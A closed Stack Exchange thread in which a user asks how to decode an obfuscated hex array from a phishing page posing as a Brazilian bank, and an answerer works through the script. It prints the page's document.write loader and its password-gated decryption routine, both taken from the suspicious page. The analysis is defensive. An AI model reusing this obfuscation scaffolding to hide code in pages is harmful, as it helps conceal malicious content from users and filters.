2

First of all, I'm a completely dummy in information security. Today morning I've received an email that make me curious. It was a kind of phishing page which was not detected by the Gmail's spam filter. So I've downloaded the content to take a look into its code. What I found was simple HTML/JavaScript page with something like this at the footer:

function XF(){return new Array('0cd0a85cd81679c246c5a0bb377e5f3b789d0612531b507f4a9dd98ba372219feb0d35d42db5970a21c95428a46ddb18bd664c405e1dd9074f6e0ffdda0cd7f9365337e1baca81c9d73803789c0192093adef61debca1f9525309693700fe45464d57327a2fb449f05b4c0736a71bcf1ffcc66a09e439358cf0d1abf9763f1548ac13a8aed69a52e8a3f15d0d5294f41877d4b5408e95c1286f390bb1bf19c6581b3c17075ebf4733b7224bf275cc8911fc15b359bd195d4f2220ad2ca3991f096f22e32d0ae0a749d921f7bb331a7a07fa31e98f2ea6edf4c996bf82e2eea6664033f1e890023d1bb2fc8b3dbf9ca70bfb9b9063f583d2927f2eeb82c08d130e7c04c2ea8a388750694fbef8a3257944f838446cbfbdd827275e20938288fcb5876608d8d444931c5b03c441e6086aee1111ed0a8366a64e75c38afddf4a6bf70f3583ca7bdf5402f281e62405899c38bcdf51c497cdfdc5951850f5a53d0d0fa7373fa458df3f63ebfff78a2b2a159ad48e1575f55f2adf8a3fc3202dfd15a7c1efe0efec1ceaa69406b3db509bbe596d3ee97e2c365ba7f48fd01ad3035beba46ae443aee287739033c9c9fcf8ec0daf8247931d667a6ab8d8c60cbe627f4b37a5a6ee7bf5de687cdb15c3b6778e6b9af28af9b2306c3f93ffd5588347e293fc61a75263317e3ef10e59f7798a936625d98dae2904186de3aefa1e877af65', ...}

UPDATED 1: Here's the whole code in PasteBin.

I've just past the first element of the array in order to minimize the code. I can figure that's a hexadecimal array, but I'd like to know how I could decode its content to see what's doing.

Any help will be appreciated.

UPDATED 2: I was able to convert part of the code back to String and I realized that it's really a ofusqued script. Check: https://jsfiddle.net/g9hsaj3o/

closed as off-topic by schroeder May 17 '16 at 14:51

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "This question does not appear to be about Information security within the scope defined in the help center." – schroeder
If this question can be reworded to fit the rules in the help center, please edit the question.

  • Please post the complete code then (pastebin e.g.). What is the sender address? Does Firefox or Chrome block access to the phishing page already by default? – Maximilian Gerhardt May 17 '16 at 12:08
  • There are pages like jsbeautifier.org and jsnice.org that sometimes can de-obfuscate javascript-code. But you would need to post the whole code-piece and not just a fragment of it. Usually those scripts try to download something onto your computer and then run it. – hamena314 May 17 '16 at 12:11
  • It's not possible to post the entire code. StackOverflow doesn't accept the whole content because of the size. I'll try to post it somewhere else. – Jaumzera May 17 '16 at 12:24
  • The whole code: pastebin.com/hUEKTKzx – Jaumzera May 17 '16 at 12:32
  • @Maximilian Gerhardt the sender is emailcaixa@caixa.gov.br, at least that it I've found at message header. Caixa is a government bank here in Brasil. – Jaumzera May 17 '16 at 12:54
4

Just a few small things, haven't figured out the thing entirely. Feel free to expand and comment on this.

After we beautify the code, we get: http://pastebin.com/CdZ5BTfj

We see:

var C4 = new Array(0x3c, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74...

And then a function

function DC() {
    var Wb = C4.length,
        _yu = new Array(Wb),
        i;
    for (i = 0; i < Wb; i++) _yu[i] = String.fromCharCode(C4[i]);
    document.open();
    document.clear();
    document.write(_yu.join(""));
    document.close();
};

So, this just performs HEX --> ASCII conversion and writes the decoded string into the document. This in turn evaluates to

<script>
    function _ii(Cc) {
        var Dc, yx, _099, _ln, o, _x02, _jh;
        Dc = new Array(4);
        _jh = XF();
        _ln = _jh.length;
        yx = _r0(Cc, _s88n(_jh[_ln - (0x4c ^ 0x4e)]), 0x03e8);
        _099 = ZZ(_xsii(_jh[_ln - (0x2b ^ 0x2f)]), yx);
        _x02 = ZZ(_xsii(_jh[_ln - (0x98 ^ 0x9B)]), yx);
        o = JJ(_jh, _099, _x02, Dc);
        if ((Dc.join("")) == _jh[_ln - 1]) {
            document.write(o.join(""));
            document.close();
        } else {
            msg.innerHTML = "&nbsp;";
            alert('Senha inválida!');
        };
        _ip = false;
    };
</script>

This is where it gets interesting, because other obfuscated functions are called. This is where the magical array returned by "XF()" is being used:

function XF() {
    return new Array('0cd0a85cd816....6ec24dde78ca48', 'd6860accfa237d675ba73acc5e486168', 'f81845c6e66b62e5fc758da50dc73d68', 'a96751384baa020ef306acaed4e7851683989674', 'eb3494af236b53ec970b830e308ff41d');
};

Since we just need to grab the decrypted string that is again written in the document, we can easily modify the code to output the string instead.

But, for that we need the "cc" Object that is used within _ii(). We see that there is a function calling _ii():

function A0(Cc) {
    if (!_ip) {
        msg.innerHTML = ms2;
        window.setTimeout(function() {
            _ii(Cc);
        }, 0);
        _ip = true;
    };
};

But then, who calls A0 instead and with what argument? We look at the HTML and see

<form name="F1" onsubmit="A0(document.F1.P1.value)" action="javascript:A0(document.F1.P1.value)">

And also

<a href="javascript: A0(document.F1.P1.value);">

So, we need the value of the form F1 and the subobject P1 for that

However, I haven't figured out the right argument for that right now. Maybe a hardcoded value somwhere inside. When I execute the modified version of the function with argument "abc" sothat it ouputs string that is written to the document, I only get garbage right now

enter image description here

If we figure out the right argument, this will probably decrypt correctly to a new piece of malware. The code I've seen until now is just Hashing (MD5 or SHA1) and encryption stuff. The real malware must be inside the array at the XF() function.

(Modified function: )

function _ii(Cc) {
    console.log("inside");
    var Dc, yx, _099, _ln, o, _x02, _jh;
    Dc = new Array(4);
    console.log("good");
    _jh = XF();
    console.log("outside");

    _ln = _jh.length;
    console.log("good");
    yx = _r0(Cc, _s88n(_jh[_ln - (0x4c ^ 0x4e)]), 0x03e8);
    _099 = ZZ(_xsii(_jh[_ln - (0x2b ^ 0x2f)]), yx);
    _x02 = ZZ(_xsii(_jh[_ln - (0x98 ^ 0x9B)]), yx);
    o = JJ(_jh, _099, _x02, Dc);
    console.log(o.join(""));
    /*if ((Dc.join("")) == _jh[_ln - 1]) {
        document.write(o.join(""));
        document.close();
    } else {
        msg.innerHTML = "&nbsp;";
        alert('Senha inválida!');
    };*/
    _ip = false;
};

The form is safe to open, none of the linked pictures exist anymore. We have the following page:

abc

The text left to the textbox seems to say "Please enter your password". So, this seems like we really have to know the password to decrypt the text. But what is the password? I thought this was a scam? Until know, the password doesn't seem to get sent to some 3rd-party server. Only the right password decrypts something else (or I'm failing to decrypt the code and it does something else)

Not the answer you're looking for? Browse other questions tagged or ask your own question.